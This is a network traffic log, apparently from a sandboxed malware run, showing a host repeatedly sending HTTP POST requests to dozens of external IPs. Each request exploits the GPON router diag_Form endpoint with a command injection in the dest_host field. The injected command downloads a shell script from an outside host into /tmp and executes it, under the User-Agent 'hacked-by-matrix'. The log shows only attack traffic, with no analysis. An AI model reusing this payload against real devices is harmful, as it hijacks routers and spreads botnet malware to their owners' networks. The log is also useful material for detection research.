Mar 21, 2024 05:22:04.177697897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.14	47478	94.226.166.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177726984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.14	56592	37.81.182.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177761078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.14	50718	94.104.135.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177781105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.14	32810	109.82.252.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177808046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.14	52918	210.129.249.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177881956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.14	36018	2.19.101.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177885056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.14	34602	94.37.250.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177922964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.14	59114	2.143.89.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.177961111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.14	49430	2.27.105.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178003073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.14	41370	42.242.194.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178064108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.14	40558	210.74.252.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178095102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.14	33712	37.88.62.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178123951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.14	50622	94.253.223.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178225994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.14	37092	212.87.195.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178236961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.14	51838	118.174.34.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178282976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.14	53538	42.148.52.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178328037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.14	60492	94.194.239.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178358078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.14	44992	42.226.100.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178375959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.14	58876	5.56.162.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178438902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.14	36026	109.227.253.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178487062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.14	58918	79.204.226.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178514004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.14	54460	5.89.145.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178529978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.14	46494	178.108.232.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178700924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.14	39956	109.216.229.240	443

Timestamp	Bytes transferred	Direction	Data
